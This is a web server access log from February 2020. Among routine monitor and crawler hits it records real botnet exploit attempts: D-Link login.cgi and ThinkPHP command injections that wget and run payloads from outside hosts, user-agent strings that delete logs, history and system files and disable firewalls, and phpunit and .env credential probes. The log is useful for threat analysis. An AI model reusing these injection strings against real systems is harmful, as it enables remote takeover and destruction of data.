216.144.240.162 - - [18/Feb/2020:23:15:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
216.144.240.162 - - [18/Feb/2020:23:15:05 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.81/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.91.246.72 - - [18/Feb/2020:23:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.252 - - [18/Feb/2020:23:17:55 +0100] "GET /robots.txt HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.224 - - [18/Feb/2020:23:17:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [18/Feb/2020:23:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.28.165.41 - - [18/Feb/2020:23:19:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [18/Feb/2020:23:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.136.137.131 - - [18/Feb/2020:23:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.5.36.197 - - [18/Feb/2020:23:20:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:23:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.10.144 - - [18/Feb/2020:23:25:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:23:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.65.133.249 - - [18/Feb/2020:23:28:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [18/Feb/2020:23:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
216.144.240.162 - - [18/Feb/2020:23:28:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
216.144.240.162 - - [18/Feb/2020:23:28:58 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.88/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
212.91.246.72 - - [18/Feb/2020:23:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.118.120 - - [18/Feb/2020:23:31:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:23:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.45.102.220 - - [18/Feb/2020:23:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:23:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.152 - - [18/Feb/2020:23:38:03 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.152 - - [18/Feb/2020:23:38:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [18/Feb/2020:23:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [18/Feb/2020:23:38:56 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [18/Feb/2020:23:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.254.28.224 - - [18/Feb/2020:23:42:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:23:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.233.229.44 - - [18/Feb/2020:23:47:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:23:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [18/Feb/2020:23:50:09 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:23:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.240.68.235 - - [18/Feb/2020:23:54:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:23:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.70.27 - - [18/Feb/2020:23:58:14 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.70.29 - - [18/Feb/2020:23:58:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [18/Feb/2020:23:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:23:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [19/Feb/2020:00:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [19/Feb/2020:00:00:43 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [19/Feb/2020:00:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [19/Feb/2020:00:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
2.188.165.68 - - [19/Feb/2020:00:03:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.216.245.215 - - [19/Feb/2020:00:05:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
118.163.213.156 - - [19/Feb/2020:00:09:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [19/Feb/2020:00:33:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
5.101.0.209 - - [19/Feb/2020:00:36:06 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [19/Feb/2020:00:36:34 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [19/Feb/2020:00:36:50 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [19/Feb/2020:00:36:58 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
122.100.67.46 - - [19/Feb/2020:00:39:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
139.228.176.181 - - [19/Feb/2020:00:39:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
139.228.176.181 - - [19/Feb/2020:00:39:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
139.228.176.181 - - [19/Feb/2020:00:40:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
139.228.176.181 - - [19/Feb/2020:00:40:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.231.164.10 - - [19/Feb/2020:00:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
81.12.124.169 - - [19/Feb/2020:00:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
186.247.112.126 - - [19/Feb/2020:00:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
120.193.219.42 - - [19/Feb/2020:00:51:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.78.183.68 - - [19/Feb/2020:00:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
167.57.25.78 - - [19/Feb/2020:00:55:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
35.225.21.27 - - [19/Feb/2020:00:56:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.48.235.1 - - [19/Feb/2020:00:57:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
81.215.212.192 - - [19/Feb/2020:00:59:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
98.28.219.23 - - [19/Feb/2020:01:07:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
181.111.248.13 - - [19/Feb/2020:01:10:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
103.36.125.18 - - [19/Feb/2020:01:13:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
71.93.26.144 - - [19/Feb/2020:01:17:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
139.194.201.42 - - [19/Feb/2020:01:18:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
162.210.196.100 - - [19/Feb/2020:01:28:00 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
162.210.196.100 - - [19/Feb/2020:01:28:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
81.218.138.26 - - [19/Feb/2020:01:32:02 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
14.102.75.252 - - [19/Feb/2020:01:35:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.216.26.178 - - [19/Feb/2020:01:41:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
80.82.77.139 - - [19/Feb/2020:01:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
80.82.77.139 - - [19/Feb/2020:01:41:41 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
80.82.77.139 - - [19/Feb/2020:01:41:41 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
80.82.77.139 - - [19/Feb/2020:01:41:41 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
80.82.77.139 - - [19/Feb/2020:01:41:42 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.13.0"
46.98.1.218 - - [19/Feb/2020:01:46:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
138.255.14.144 - - [19/Feb/2020:01:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.159.90.191 - - [19/Feb/2020:01:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
192.241.221.239 - - [19/Feb/2020:01:53:33 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:01:54:27 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:01:54:50 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:01:55:14 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:01:55:57 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:01:56:56 +0100] "\x16\x03\x01" 501 318 "-" "-"
190.23.154.37 - - [19/Feb/2020:01:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
192.241.221.239 - - [19/Feb/2020:01:59:06 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:01:59:54 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:02:00:01 +0100] "\x16\x03\x01" 501 318 "-" "-"
192.241.221.239 - - [19/Feb/2020:02:00:17 +0100] "\x16\x03\x01" 501 318 "-" "-"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [19/Feb/2020:02:00:47 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
